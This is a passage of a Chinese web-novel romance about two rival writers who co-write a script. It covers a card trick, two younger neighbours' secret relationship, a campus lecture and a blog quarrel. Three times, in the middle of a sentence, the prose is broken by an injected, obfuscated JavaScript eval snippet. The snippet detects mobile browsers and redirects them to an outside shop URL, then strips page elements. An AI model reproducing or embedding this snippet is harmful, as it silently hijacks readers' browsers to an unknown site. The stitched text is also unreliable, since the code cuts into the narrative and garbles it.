“怎么算？”颜语凉正在开电脑，闻言看向祝君忱。 “有扑克牌吗？” 颜语凉转身从那天给他展示的水晶球的后边拿出一副半新不旧的扑克牌递给他。 祝君忱拆开来，非常娴熟地洗起牌来，纸牌在指尖翻飞，发出清脆的声响，颜语凉不禁多看了好几眼：“你练过吧。” “没，”祝君忱否认道，“之前看过视频，学了一次就会了。在这几张里抽一张。” “其实我运气挺差的。”颜语凉伸手去摸他手里那叠牌，翻开一张，是灰色小joker。 祝君忱轻轻挑眉：“哪里运气差了？” “偶尔好一点。。” “再来一张。”祝君忱又洗了一遍牌，这次让颜语凉三张里选一张。 颜语凉选了最右边那张，伸手过去翻的时候小拇指不小心碰到了对方的虎口。 他一直在温度打得较低的空调间里，手指比较凉，许是祝君忱刚从外面回来的缘故，他的手有些暖。 这样轻微的温度差沾在指尖却让颜语凉的心重重蜷缩了一下。 他微垂眼帘翻开了那张挑选的牌——橙色大joker。 ？ 颜语凉瞳孔不禁放大，有些不可思议：“变魔术呢？” 不是说算运势吗？ 25. 不争气 颜语凉伸手去翻对方手里剩下来的两张扑克牌，一张是A，一张是3。 看起来似乎真的是他运气比较好。 祝君忱摊着手任他翻，嘴角抹了一丝明显的笑：“是算运势。” “那我这个是算好还是算差？”颜语凉微微歪了下头，抬眼和祝君忱对视上。 “当然算好。”祝君忱笑着说，“最近可能会暴富。” ？ 颜语凉感觉有些荒谬：“那我去买个彩票试试？” 他最近不是在学校就是在家里蹲着，不是上课就是在想青书比赛的事，哪有暴富的机遇？ 走个路都无比匆匆的颜语凉甚至没有捡到钱交给警察叔叔的经历。 祝君忱把散开的扑克牌整整齐齐收起来，莞尔道：“可以试试。” 颜语凉耸耸肩，打算改天路过商场买张刮刮乐，手里覆上鼠标，开始正题：“咱上次说好了《小姐小姐》的大致走向，还有一些细节没有完成，比如说每次家族是如何被发现的，这个满门被灭的时间线会不会推迟之类的，暂时不用想得很细，但是想想时间也差不多了，可以想得更深一点，今天我们把简纲写完，稍微写一些人物小传，就可以直接开始写剧本了。” 祝君忱起身单手拎着椅子搬到了他身侧，方便看他已经写了很多的大纲。 颜语凉做的大纲非常清晰，条条框框，一看就十分老练。 祝君忱一只手扶着颜语凉后边的椅背，另一只手轻覆在桌子边沿，靠近了一些，一眼扫过大纲，说：“如果有一个标志性的东西，会更清楚一点。” “嗯。”颜语凉没忍住偏着余光看他，刚才对方的气息一瞬间靠近，让他现在手心有些冒汗，他自己也不知道紧张个什么劲。 祝君忱见他的目光盯着键盘的某个键没有再说话，疑惑道：“怎么了？” “在想，”颜语凉回过神来，随口扯了个谎，“玉佩？灯盏？” 其实选一个标志性的物品很容易，颜语凉没等祝君忱给建议就定了另外一个他突然想到的物什：“香薰吧。” 他侧头去看祝君忱，对方侧脸的轮廓清晰，认真的时候透着淡淡的文气。 其实这个灵感来源就是祝君忱刚刚凑近的时候留下了一丝难以察觉的淡香，同样，作品里的人物也会有不同的香味，更何况那个时代香包、熏香、胭脂等留香持久的东西依旧非常流行。 “毕怀瑜和毕经珂在不同的世界身上的味道不同，毕晗喜欢熏香和制作荷包，对味道很敏感，所以她能够发现不同，在整个故事中，也可以用熏香串联。”颜语凉在大纲的某一处敲了两个字，继续说。 祝君忱没有异议，看着他敲完了两行字。 颜语凉写完这个设定，有些满意地往后仰，想和他平时一样靠在椅背上晃晃椅子，可没想到祝君忱刚刚扶在他椅背上的手还没有拿开，他往后靠的动作很轻，但是确实切切实实地碰到了对方的左手。 玩扑克牌时，因指尖触碰到的余温而蜷缩的心脏，此刻才彻彻底底挣脱，像被击晕后猝然醒来，疯狂地、躁动地撞击着心墙。 颜语凉。 颜语凉装作自然地直起身子，心里警告般唤了声自己的名字，骂着。 你好不争气。 刚离开键盘的手又覆了回来，他敲了一行不知所谓的字，又垂眸通通删掉。 余光里，对方似乎没有发现自己的异样，收回那只左手后见他还在写便拿出手机来看消息了。 “还有一个礼拜时间，你前两天要我写的毕经珂的人物小传已经写得差不多了，我微信发你。”祝君忱抬着手指三两下就把一个文件发来了。 祝君忱知道自己写小说、大纲、人物笔记的时候文笔文风有很大、很明显的个人色彩，所以在写这篇毕经珂的人物设定和剧情关键节点的时候刻意换了个笔调写，希望不会被颜语凉发现。 “我知道的作者很多，”颜语凉电脑登录微信，打开了祝君忱发来的文件，看了好几眼，眉头拧起来，“让我猜猜，你是——” 说实话，祝君忱是有点紧张的，因为他其实不知道言不言对今辰好的了解程度。 好在，颜语凉说了一个和他八竿子打不着的作者。 “妒连吗？” 说不上什么感觉，明明应该庆幸的，但是心口莫名就空了一块，祝君忱抿了下唇否认道：“不是。” “也对，”颜语凉眨眨眼，他不过是开个玩笑，“妒连老师是女的。” 祝君忱掩唇笑了一声，随即半支着腮，看起来颇有耐心地看着颜语凉：“你很想知道我是谁吗？” “当然了。”颜语凉瘪瘪嘴，垂目挽了下有些长的外套袖子，胡言乱语道，“你不是说说出来吓死我吗？难不成你是祝枫华？” 祝枫华是一个非常老牌的作者，早年是写武侠出生，慢慢开始写玄幻大女主、大男主，成就了好多个大型影视ip，是颜语凉小时候的偶像、小说和剧作的启蒙者。近两年倒是没写什么了，隐隐有淡圈的趋势，但是他的神话依然在民间流传着。 祝君忱的动作没变，眼里的光亮流转，一副知无不言言无不尽的样子，说：“他是我爸。” “什么？”颜语凉瞪大眼偏头看他，难以置信道，“真的假的？是亲缘骨肉还是说你也是写玄幻的所以他是你的偶像，像你爹一样？”又开始胡言乱语了，颜语凉自己说一半都想让自己闭嘴。 “要不要把户口本给你看？”祝君忱闻言笑意更甚，作势要翻手机找照片给他看。 “别，”颜语凉阻止道，“我就当是假的，不然我怕我缠着你要见你爸。”那样可太没礼貌了。 说完他便把目光转回到屏幕上继续看人物小传，脑子里却还转着那句“我爸是祝枫华”。 心说：这个消息就足够吓死我了，还有什么是比这个更吓人的，除非你是今辰好，不然没有比这更吓人的了。 毕经珂。 人物小结：人无自由，巢林一枝。人富自由，消磨殆尽。 不愧是祝枫华的儿子啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758101|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写的真好。 不对，他不能给祝君忱套他爹的滤镜，祝君忱写得好是因为他是祝君忱，仅此而已。 颜语凉眼睛一眨。 “啪”。 祝枫华滤镜变回了祝君忱滤镜。 祝君忱坐在他的身侧不知道在想什么，半晌，他问：“你觉得，妒连和今辰好，谁写的好？” 颜语凉发现了文档里的一个错别字，正要抬手去改，闻言有些不明白对方是怎么把这两人放一起的：“你现在问的是颜语凉还是言不言？” “颜语凉。” “颜语凉觉得优秀的作者各有特点，大家不分胜负。”端水大师如是说道。 “那我问言不言呢？” 颜语凉露出一个“这还用问”的表情，说：“言不言的世界里，自己是number one，今辰好是 last one。” “……” 他们又聊了好一阵的《小姐小姐》，把大致的剧情都梳理下来，大纲就差不多完成了。 抬手关闭大纲文档，颜语凉想起来有一阵子没看到自己的猫了，外面两个弟弟还在拼积木，为了不打扰他们，聊大纲的时候就把书房门关上了，想想那会好像是在沙发上睡大觉，没有跟进来。 “刚养猫的时候买了个监控，”颜语凉打开手机，点开许久没用的绑定监控的软件，“放的地方正好能照到猫砂盆和猫碗。” 他把手机偏向祝君忱给他看，监控里，想想正在津津有味地吃着猫粮，颜语凉刚把想想抱回来那阵子可爱在上课的时候看家里的监控，看小猫乖巧地睡觉，看小猫调皮地跑酷，一边看一边记课堂笔记，时不时在本子上画几个小猫头，一整个下午就过去了。 “猫是多餐少食的动物，想想虽然每顿都只吃两口，但是它每天都能吃完一整碗。”颜语凉看着监控里的小猫坐成一团毛茸茸地吃着粮，把音量调到最大似乎还能听见它咔嚓咔嚓嚼嚼嚼的声音，坐了很久码字的疲惫一扫而空。 祝君忱也在看，不过马上就被手机的震动吸引了注意。 颜语凉看想想吃完了饭，往餐桌那走，便用监控追随着它，想看它马上做什么，是玩小球呢？还是羽毛长棒呢？还是去沙发上睡回笼觉呢？ 想想选择抱着玩具小球睡在沙发前的地毯上。 颜语凉又盯它一会儿，鬼使神差地把监控又往右调了一些，想看看林夕繁和俞归絮两三个小时下来拼成什么样了。 这一看把颜语凉看得有点懵。 他们两个仍然在很认真地找着积木，但是两个人几乎贴在一块儿，肩膀靠着肩膀，林夕繁的动作尤为明显，整个人所有的力道都倾泻在对方身上，一个手臂跟瘫痪似地垂着，只用一只手找积木。 颜语凉以为两人正在打闹，以他的了解，下一秒俞归絮就会把林夕繁推开，并且指着鼻子警告。 不过，他没等到俞归絮推开林夕繁，等到的是俞归絮也垂下一只手勾起了旁边的人的小拇指。 ？ ？？？ 26. 偏心伞 “怎么了？”祝君忱敏锐地察觉到他的异常，偏头问道。 颜语凉只用一秒就整理好了自己表情，锁上手机，说：“没事。” 这两个邻家弟弟是他从小看着长大的，颜语凉总觉得他们两个还是没长大毛孩子，就算上了大学也是，他从前只觉得这两人关系好，却从没想过他们会有这样一层关系。 北京近两个月都是闷热的天气，这会外面的雨报复性地下着，哗啦啦地淋满了一整个下午。 这样的天气颜语凉总是喜欢瘫着，瘫在书桌前也好，瘫在床上也好，总之就像一只蜗牛，一听到雨声就想钻进壳里。就算有客人也一样，尽管肚子已经饿得咕咕叫，他也没有出去吃饭的兴致。 这样一来，祝君忱简直是他的救星，回家把昨天烤的面包带上来分给他们吃。 坐在餐桌上的时候，颜语凉的眼神不经意地落在林夕繁和俞归絮身上，这两人其实安分得很，林夕繁和俞归絮说话的时候看起来和几年前也没什么两样，颜语凉都有一瞬间怀疑自己在监控里看到的都是假的。 “走，我送你们回去。” 颜语凉看外边的雨还没停，打算送他们回学校去。 北京的雨中夜景糊着霓虹灯的光芒，煞是朦胧好看。 林夕繁倚在窗边，看车窗上的水珠子赛跑，俞归絮拼了半天积木似乎累了，闭着眼仰在座位上睡觉。 颜语凉握着方向盘，目光扫了一眼后视镜，他看到俩人虽然坐在两边，但是膝盖却若即若离地靠在一起，他轻咬了下下唇，突然问：“上大学以后，你们待在一起的时间多吗？” 林夕繁回头透过镜子和颜语凉对视上，回答道：“还行，没课的时候就在一块吃个饭，或者自习啥的。” “听说西校区有个林子，每天一到晚上都有很多小情侣在里边聊天，是真的吗？”颜语凉问道。 林夕繁似乎深有所感：“长风园那边的，每次散步经过那都跟闹鬼似的。” “一个人在学校里散步确实得小心点。”颜语凉看到不远处绿灯跳成了红灯便缓了车速停下来，说话语气就跟一个关心小辈的哥哥一样亲和。 “不啊，我散步有俞归絮陪着。” 颜语凉眉头一挑：“你们关系这么好？约着散步还能散到小树林？” “……”林夕繁正要找个借口搪塞，被旁边的俞归絮拽了下衣角。 聪明的他立马反应过来颜语凉的话中话——他们的小颜哥哥又不是傻子，能问出这个问题要么就是怀疑程度很深，要么就是已经知道他们在一起的事了。 这样的试探很巧妙，把是否宣布的权力放在林夕繁手里，倘若他三两句越过这个话题，可能颜语凉之后就不会再过问了。 林夕繁其实并不排斥告诉颜语凉他和俞归絮的事，但是他不知道怎么开口，可是又不想让自己和俞归絮的关系在这里一概而过。 红灯倒计时最后一秒，绿灯亮起来，车起步，右拐。 颜语凉见他纠结得许久没说话，主动破冰，问：“从什么时候开始的？” “高二。”林夕繁有点紧张地攥着裤面。 这下颜语凉脸上终于露出惊讶的表情：“你俩早恋啊？” 林夕繁不说话了，车窗外边灯光闪烁，某一刻照亮他通红的脸。 颜语凉分心去看镜子，他看不清两人在做什么小动作，但是能看到俞归絮的右手动了一下，猜测是安抚性地牵住了对方的手。 好有意思。 颜语凉嘴角勾起一个笑，追问道：“谁追的谁啊？” 这下两个小哑巴异口同声地说：“我追的。” * 【忱.】：你明天有什么安排吗？ 颜语凉送完两个弟弟回到小区停完车，看到祝君忱给他发了消息，就在置顶第一个，无比显眼。 不知道从什么时候开始的，他们问起彼此的行程变得自然起来。 颜语凉也说不上来是什么样的心情，反正不是差的，他单手打伞，腾起另一只手打字。 【我无言以对】：明天周二，没课，蹲家里写毕晗的人物小传。 【忱.】：言不言老师。 【忱.】：不讲信用。 颜语凉以为是早饭的事。 【我无言以对】：明天八点我肯定去你家吃早饭 【忱.】：你想想上周二做了什么。 【忱.】：言不言老师，言而无信。 上周二？ 颜语凉微不可察地拧了下眉，上周二是开学第二天，好像是被邹煜安拉去当临时社团工作人员的那天。 后来他给祝君忱发了个无聊，对方就来了，吃了个午饭，下午是在图书馆。 颜语凉想破脑袋也没想起来答应了祝君忱什么事。 他正要给对方发“我忘了什么吗”，猝然间，伞面碰到了障碍物，回弹的力道有些重。 伞上跳起的几滴水花交织着落在地面，惊起一圈圈细小涟漪。 颜语凉以为是自己闷头走路看消息太过投入撞到了人，一边说着抱歉一边抬伞，才发现撞到的人是祝君忱。 这人刚刚还在微信上给他扣着不守信的帽子，这一秒就撑着伞站在他的面前，有一种奇异的打破次元壁的感觉。 “你怎么在这？”颜语凉眼里沁出惊喜。 “家里盐用完了，去超市买包盐。”祝君忱眸光轻动，和在微信上那股子“请苍天辩忠奸”的模样截然不同，他攥着伞柄的指节有些发白，眉目挂上了一些柔和，更添风度，“一起吗？” 颜语凉沉吟片刻，收了自己的伞，钻到对方的伞底下，脸上漾起笑来：“走吧。” 祝君忱的目光落在他发梢的一颗小水珠上，这会儿雨已经很小了，但是他还是微微把伞往颜语凉那偏了些。 “你想起来了吗？”祝君忱问。 颜语凉知道他在问什么，诚实道：“没想起来。” 祝君忱也不介意，直接告诉他：“你上周二说明天去西校区吃午饭。” 颜语凉从被埋了许多沙土的记忆里切切实实挖出了这一条，这一周说忙不忙，课都集中在周三周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758102|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四，说闲也没有很闲，这句话当时是吃饭的时候随口说出来的，被第二天满课的知识点洗刷了，后面还有青书大赛的事就彻底抛诸脑后。 “想起来了。”颜语凉露出一个笑。 “去吗？”祝君忱的脚步放慢，偏头问他，“我们三食堂的叉烧饭最有名。” 颜语凉有一个吃货灵魂，当机立断道：“去。” A大西校区的三食堂是所有校区里最大的食堂，一共有两层，楼上那层装横煞是精致好看，窗户也多，能看到外面的高树和街景，过了饭点这里仍然会有很多人，有自习的、有搬着电脑打比赛或者游戏的。 颜语凉和祝君忱端着餐盘子走到二楼找座位的时候，对旁边的人说：“怪不得你们图书馆修得不大，有这样一个自习食堂，能吃能喝能学的，除了饭点吵闹了一些，谁还往图书馆跑。” 祝君忱却摇头：“没那么享受，这里只有饭点开空调，夏天的时候在二楼饭点一过就没有图书馆舒服了。” 他们坐在一处角落，面对面吃饭。 颜语凉同他跟进《小姐小姐》的进度：“我今天下午回去把毕晗和毕怀瑜的人物小传写了，还有一个人物是仆人，我的想法是，每一个世界都是由她为开端，以她带着小姐出逃到海上为结尾，你写一下。” 祝君忱点点头，问：“要多详细？” “配角写得不用很多，你能想到什么对剧情有用的情节写上去就行。” “对了，”颜语凉尝了一块叉烧，不知是心理作用还是怎么，确实比以前吃过的都要好吃，他有些高兴地问，“你之前没写过剧本吧，后天我有一节编导课，在下午第一节，你没课的话要不要来听？” 其实听一节课也学不到啥。 但是祝君忱同意了，说：“可以。” “但是正好是陆择老师的课，也可以吗？”颜语凉突然想起来这个课的主任教师是祝君忱他舅舅。 “有什么问题？”祝君忱却问。 也是，认识就更方便了，不会突然点你起来回答问题。 说曹操曹操就到，颜语凉收到一条来自导师的微信消息，陆择或许是终于在这个年纪跟上时代了，最近使用微信的频率逐渐变高。 【陆择】:中秋晚会我们学院有三个话剧节目，报一个你的上去？ 颜语凉之前写过许多陆择喜欢的剧本作业，经常被他薅去报名参加学校各种活动的话剧剧本。 【我无言以对】：报一个演出来正常一点的就行。 去年六一的时候也办了个晚会，陆择给他报了一个故事叫《小鸟的新发型》，这都不是剧本，只是一个水课写的短篇小故事，大概剧情就是，一只小鸟换新发型四处炫耀，最后被雷劈了，非常无厘头，结局就是舞台上话剧社的扮演者带着个尖嘴的纸套子扮演小鸟，姿态之滑稽一出场就引得全场一通好笑。 但是颜语凉看着想把演员后边巨幕上的“作者言不言”抠掉。 太蠢了。 顺便想穿越回写下这篇注水无脑儿童小说的时候把自己打一顿。 27. 道晚安 祝君忱早八的课很多，颜语凉总体课就少，全在周三周四，每次早上去对方家里的时候都是祝君忱已经出门远程给他开的门，终于在周三这天和对方的时间调成了一致。 七点钟洗漱完迷迷糊糊地下楼，去祝君忱家里试毒他新做的早餐。 今天祝君忱做的是松饼，配了一杯早八人必备的黑咖啡。 以前颜语凉如果早八没课就睡到太阳八丈高，如果早八有课就从太阳八丈高开始饿，饿到吃午饭。 现在有了给祝君忱试新品的事已经好多天没有在早上饿过肚子了。 颜语凉看着桌上一杯褐色液体还以为是可乐，灌了一大口被苦得直皱眉头：“这是咖啡啊？这么苦？” 直接给他苦清醒了。 祝君忱抬头看他：“你不是爱喝美式吗？” 颜语凉品着舌尖的苦味，脸都皱成苦瓜了，解释说：“气泡美式！苹果气泡美式、橘c气泡美式，前调都是甜口的！” 祝君忱觉得他说得很有道理，也不强求：“不想喝就放那，我给你倒杯饮料。” 颜语凉摆摆手，问：“这个黑咖啡是速溶包装冲的吗？” “有小咖啡机。” “噢，”颜语凉又抿了一口，其实他不是不能接受苦味，只是更喜欢带点果味、甜味的，闻言灵光一闪，“那你会拉花吗？” 祝君忱摇摇头：“不会。” 家用的全自动小咖啡机也没有这个功能。 颜语凉遗憾道：“你如果会的话，高低让你给我展示一下。” “我买个大点的，带这个功能的咖啡机，”颜语凉刚埋头吃一口松饼，听到祝君忱这样说，闻声抬头，听到对方带着开玩笑的语气说，“你早上五点钟起床，我学拉花给你看。” “那算了。”颜语凉立马回绝，哪舍得放弃他的睡觉时间，早八就要了他的命了，还早五早六呢。 但他还是找补道：“不是怕我起不来，是怕你学不会。” 祝君忱微微一笑：“是怕我学会了天天五点喊你起床看做咖啡吧。” 颜语凉吃完了，抽了张纸慢悠悠地抹了下嘴：“你怎么这么恶毒。” 今天周三，两人一天都在学校上课，颜语凉上得精疲力竭，瘫在沙发上还上青书大赛的官网把这几天写完的材料都提交了，完事后抱着平板安安静静地看小说。 颜语凉的平板上没有社交软件，只有视频软件、小说软件和学习软件，他总是享受黏在沙发上盯着平板或者看看实体小说的时刻，感觉生命被亮得恰到好处的灯光慢慢拉长，他喜欢这样恬静的时刻，无人打扰的时刻。 今天他上课累，沾在床上几秒就快睡着了，却想起来祝君忱会提前在微信告诉他第二天什么时候吃早饭，又跑去客厅把手机拿进来充电。 屋里只留了一盏沙发边昏黄的灯，方便想想半夜出来活动。 颜语凉打着哈欠看微信消息。 【忱.】：明天我早饭做这个。 【忱.】：[视频] 【忱.】：我早八，你可以晚一点起来吃 【我无言以对】：好。 已经快十二点，颜语凉最近很少十一点之后还回消息，正好碰到祝君忱也还没睡。 【忱.】：还没睡？ 颜语凉靠着枕头敲着手机屏幕。 【我无言以对】：马上睡了。 【忱】：晚安。 颜语凉感觉心口被戳了一下，回应道—— 【我无言以对】：晚安。 不知道是不是有那句“晚安”的原因在里面，颜语凉这一觉睡得非常舒服，第二天八点就醒了，靠中午的时候陆择有事喊他过去谈申请留学的事，午饭就在学校吃了。 跟祝君忱说了一声，吃过饭颜语凉就坐在下午要上课的教室里填资料了，填完有些困便趴在桌子上浅浅地睡个午觉。 祝君忱一点半就背着包到了教室，坐在颜语凉身侧，看见他在睡觉摆东西的动作很轻。 但颜语凉睡得太浅，还是醒了。 “我吵到你了？”祝君忱轻声问。 颜语凉摇摇头，把刚才填的资料放进书包，再把课本整整齐齐地摆在桌面上，这节课是在大教室上的，零零散散已经来了几个同学，他坐的位置在第五排，前面坐了几个女生，他隐约能辨认出来是同班的同学，但是名字对不上脸。 坐在正前方的女生转过头来跟颜语凉搭话，递了支笔过来说：“谢谢你的笔，你上次下课跑太快了，没来得及还。” 颜语凉抬眼接过，冲她笑了一下，转头跟祝君忱得意道：“每次下课我都第一个跑出教室。” 前面的女生比较外向，平时也经常找颜语凉说话，与一众其他同学相比熟一些，这会儿看见祝君忱这个生面孔，不禁问道：“这是谁呀？” “我朋友。”颜语凉手上的笔在指尖转了一圈，“来旁听的。” 陆择上课喜欢提前十五分钟到教室，这段时间用来和同学们聊生活，他总是把“艺术源于生活，灵感源于生活”这句话挂在口头。 看着陆择走进教室，祝君忱突然问颜语凉：“你导师知道你是言不言吗？” 颜语凉有些莫名：“他当然知道啊，我们院里也有蛮多人知道的。” “倒是你的笔名捂得那么严实，连你舅舅都不知道。” 祝君忱解释道：“我妈那边的亲戚平时不怎么走动，还不如我表妹走得多。” 提起这个表妹，颜语凉突然想起来半个月前七夕夜晚上的那通电话，问道：“你的那位表妹，是陆择女儿吗？” 但是他似乎没有听陆择提起过女儿。 “陆昼妍？”祝君忱很轻地摇头，“她是我小舅的女儿，陆择是我大舅。” 颜语凉脑筋转啊转，得出结论：“你好多亲戚。” 祝君忱不置可否，脑海里闪过陆昼妍天天捧着电视看《尘封水》的样子，她的书架子上名著都落了很厚一层灰，言不言的书倒是非常宝贝地用塑封袋保存着，之前暑假她刚搬过来的时候，祝君忱看着她把一箱子言不言的书搬上楼很是头痛，小丫头片子还挑衅他，他便放话说要趁陆昼妍不在家把她的书全扔马桶里冲掉。 思及此，他恍过神来说：“陆昼妍是你的粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758103|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝。” “啊？”颜语凉想起那天晚上和这小姑娘通过电话，有些忍俊不禁，“你记得我在小酒馆捡到你手机那晚吗？她打电话给你是我接的。” 祝君忱点点头，他看过通话记录当时就推测是颜语凉接的，后来也被陆昼妍追着问过，说：“她以前有一段时间特别喜欢你的书，还想改名，说要把她的‘妍’改成你的‘言’，不过没成功，被她爸追着打了三条街。” 颜语凉想象了一下，被逗乐了，说：“好可爱。” 祝君忱睨他一眼，继续曝光表妹：“她还天天在家里喊‘重金求娶言不言’。” “有多重？”颜语凉凑近一些露出好奇的表情，“有十个亿我就赘了。” 祝君忱眉眼一弯：“那让痴情的陆昼妍再攒几辈子吧。” 颜语凉让开些距离，开玩笑道：“如果赘你表妹能天天见到祝枫华的话，我也赘。” 祝君忱眼底有光闪过，突然闷声笑着，意味不明道：“赘我表妹可不能天天见我爸。” 颜语凉抿了下唇，不说话了。 如果戏剧化发展那么下一步就是他顺着祝君忱的话问：“那赘谁可以呢？” 然后祝君忱说：“赘我可以。” 颜语凉面无表情地抹了把脸，前面的女生似乎聊到了什么有趣的话题，聚在一起笑着，最边上的女孩回头招呼刚到教室的朋友，不经意地一眼扫过颜语凉，落座又开始热火朝天地讨论起来。 不知道是不是错觉，他似乎听到那个女生对旁边的人说自己耳朵红了很可爱。 他有些脸热，欲盖弥彰地支着腮帮子，翻开课本。 * [地球研究小组 （4）] 【我是走远】：500G冲浪 【我是走远】：@我无言以对你和小艳闹绯闻了 【我是走远】：我是颜语凉我澄清一下这不是绯闻。 【我是走远】：我是小艳我澄清一下这不是绯闻。 颜语凉第一节课下课就收到了邹煜安在四人小群里发疯，脑子里还转着陆择上课讲的镜头技巧，看到这人无厘头的消息很是头晕。 【我无言以对】：发什么疯？ 邹煜安一个链接甩他脸上，是学校论坛的。 祝君忱第一次上非专业的课居然还记起笔记来，颜语凉其实对学校论坛的事没多大兴趣，没有立马去点这个链接，而是凑到旁边看祝君忱写的笔记，整整齐齐的，惊叹道：“你上辈子肯定是个史官。” “其实有些专业术语我不是很懂。”祝君忱提笔在笔记上圈了个词，“之前就想问了，拉片是什么意思？应该怎么拉？” “拉片是学编导学编剧的基本功，就像拆文是写小说的基本功一样，拉片就相当于给电影做阅读理解，不仅仅是读人物语言，更重要的是镜头语言，好的镜头往往是一部影片成功的关键。” 祝君忱想起了《尘封水》的开头，在昏黄的灯光下有一张小木桌，桌上摆了一个老旧的保温杯，镜头一晃就着起火来，主角程末猝然从梦中惊醒，这个开头与结尾主角深陷火中遥相呼应，给他印象很深。 28. 好朋友 “你是不是在想《尘封水》？”颜语凉见他恍神，猜测道。 祝君忱点了下头。 颜语凉却否认道：“《尘封水》明显的镜头语言有很多，这些都是主动灌输给观众的，有些让观众看不出来的，逐帧细看的时候才能发现，或者是无意间促成的镜头语言才是艺术，这样影片才是活的，但是《尘封水》在这方面还是不足。” 说罢他有些懊恼地垂了下眼皮子：“说到底就是我能力有限，写不出那些足够隐晦的镜头。” 祝君忱问：“编剧还需要写分镜吗？” “不用，”颜语凉否认道，“但是编剧写的东西可以影响分镜，其实镜头语言更多的还是靠导演。” 祝君忱笑着，半是安慰半是夸赞道：“那就不怪你，而且《尘封水》最后的效果不是很棒吗？” “没错，”颜语凉打起精神，挺直了身板，“要怪就怪今辰好，这本书写得太烂了，那么多伏笔，有没有考虑过影视化怎么体现？他都不知道我在剧组里写了多少版剧本，我给他改成这样还不谢谢我。” 祝君忱：？ 颜语凉把锅全部推到今辰好头上，心情愉悦，得寸进尺道：“要不让他赔我点钱吧。” 说做就做，他登进博客三两下发道—— 【言不言 ： @今辰好 要不赔我点钱吧。 】 祝君忱眼睁睁看着他发，博客推送通知有延迟，手里的手机三四秒后才震动，手心被震得发痒，那一刻他终于明白了言不言为什么之前能三天两头找事。 尤其是《尘封水》在拍期间，估计这人也是被剧本逼疯了，气不过，正好和原作者是“仇敌”，直接把口水吐他身上就舒服多了。 颜语凉翻着手机，刚发没几秒就有了很多回复，有自己的书粉，当然也有今辰好的。 [今天也读言不言]：爷，咱缺钱了就开文吧 [风浪今辰好好平息]：穷疯了？ [今天好言难劝谁赢了]：好久没看你俩吵架了，开始吧，瓜子都准备好了。 [好言散打 回复 @今天好言难劝谁赢了]：瓜子分我一点，姐妹 [今天好言难劝谁赢了回复 @好言散打]：好啊好啊，确认过ID是真姐妹 [好言散打回复 @今天好言难劝谁赢了]：我要带着我的ID走遍所有的好言难劝好吗？好言散打，打着打着就三搭。 颜语凉盯着这一楼，有点没看懂，又跳了几条消息出来，有人开始喷她们，他才反应过来，这是在磕言不言和今辰好的cp吗？ 颜语凉默默抬手赞了一条较为中肯的评价。 [路人吃一口]：有点邪门。 （言不言赞过） [嗑的就是好言难劝]：反正他俩都这样了，又不会真的在一起，我嗑一下怎么了？ [别劝我]：宿敌就是宿敌啊。 颜语凉本来想给嗑这对cp的人扣个问号，看到有人这么说便收了手，他一直都主张思想自由，粉丝们爱怎么想就怎么想吧，反正都是莫须有的事，就跟文学创作一样，应该给他们自由，虽然千般万般不顺眼。 愣神间，今辰好居然回复了。 [今辰好]：要多少 [风浪今辰好好平息回复@今辰好]：老大你别告诉我你真要给他打钱（惊呆.jpg） [日落夏天 回复 @今辰好]：你要是打了，我现在就去磕好言难劝。 [好言难劝的狗回复@今辰好]：……我猜没好话哈 颜语凉感觉最近几次今辰好跟他讲话的语气都变软了，有点奇怪。 他敲着手机屏幕，狮子大开口。 [言不言 回复 @今辰好]：一个亿 对面秒回—— [今辰好回复 @言不言]：做梦比较快。 …… 颜语凉在脑海里那个“今辰好语气变化”的观点上狠狠打了三个大叉叉。 颜语凉不想再同他掰扯，退出博客。 马上上课了，他刚打算锁上手机，四人小群里就又弹来了消息，他才想起来把邹煜安给忘了。 【桃女王】：天呢，言爷怎么不说话 【我是走远】：桃女王，信论坛还是信我是秦始皇？ 【桃女王】：信论坛。 颜语凉把本来扣给粉丝的问号扣给了他们，而后复制上边邹煜安发的链接就自动跳转到了论坛软件。 这个帖子的标题其实平平无奇【哇！三分钟，我要颜语凉的新‘朋友’所有消息】，帖子里配图是前阵子他俩一起在学校早餐店门口喝粥的照片，说起来这事已经是上周发生的了，底下有人说出祝君忱是西校区的信息之后，这个帖子很快就沉了底。 但是今天又被翻上来，是因为祝君忱今天来旁听被不知道哪个逛过这个帖子的同学拍了。 [255L 下辈子再学编导吧]：这是那个祝君忱吧?[图片][图片] [256L 梅花糕回复 255L]：对的！你这个图也太清楚了！！ [257L 泱泱]：不是说他是西校区经管院的吗？怎么和颜语凉一起上课？ 下面各式各样的同学出来发言，解释祝君忱是来旁听的，不久，还有人跑西校区论坛扒出了颜语凉那天去旁听经济学的课的图片，说他们这也算是“有来有回”。 